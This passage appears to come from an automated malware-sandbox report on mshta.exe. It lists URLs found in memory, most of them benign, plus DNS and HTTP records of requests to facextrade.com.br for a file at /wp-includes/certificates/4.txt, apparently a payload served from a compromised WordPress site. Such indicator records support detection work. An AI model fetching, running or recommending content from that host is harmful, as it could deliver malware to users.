Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://roaming.edog.
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: mshta.exe, 0000000A.00000002.706603004.0000000006C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s.w.org/images/core/emoji/11/svg/https://s.w.org/images/core/emoji/11/72x72/3
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://settings.outlook.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://streetviewpixels-pa.goo
Source: js[2].js.10.dr	String found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/thumbnail?hl=en-US
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/tile
Source: mshta.exe, 0000000A.00000003.518334702.00000000062F3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704163942.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/tilepe/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://support.google.com/fusiontables/answer/9185417).
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://tasks.office.com
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/
Source: mshta.exe, 0000000A.00000002.703826308.000000000624E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/transla
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.702360941.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 0000000A.00000002.703868816.000000000625A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2$
Source: mshta.exe, 0000000A.00000002.703868816.000000000625A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit28
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2B
Source: mshta.exe, 0000000A.00000002.706603004.0000000006C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twemoji.maxcdn.com/2/
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://vimeo.com/:id
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://www.google.com
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://www.google.com/maps
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://www.google.com/maps/vt
Source: mshta.exe, 0000000A.00000002.711627385.000000000B010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.macromedia.com/support/flashplayer/sys/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://youtu.be/:id

Source: unknown

DNS traffic detected: queries for: facextrade.com.br

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: translate.google.com
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
